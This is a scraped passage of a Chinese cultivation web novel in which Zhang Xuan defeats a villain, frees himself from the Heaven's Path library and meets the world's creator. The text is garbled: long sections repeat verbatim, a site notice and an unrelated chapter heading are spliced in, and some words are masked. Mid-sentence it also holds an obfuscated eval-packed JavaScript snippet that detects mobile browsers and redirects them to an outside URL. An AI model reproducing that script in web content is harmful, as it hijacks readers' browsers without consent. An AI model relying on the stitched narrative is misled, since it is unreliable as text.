一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546026|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第54章中原女学开考 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 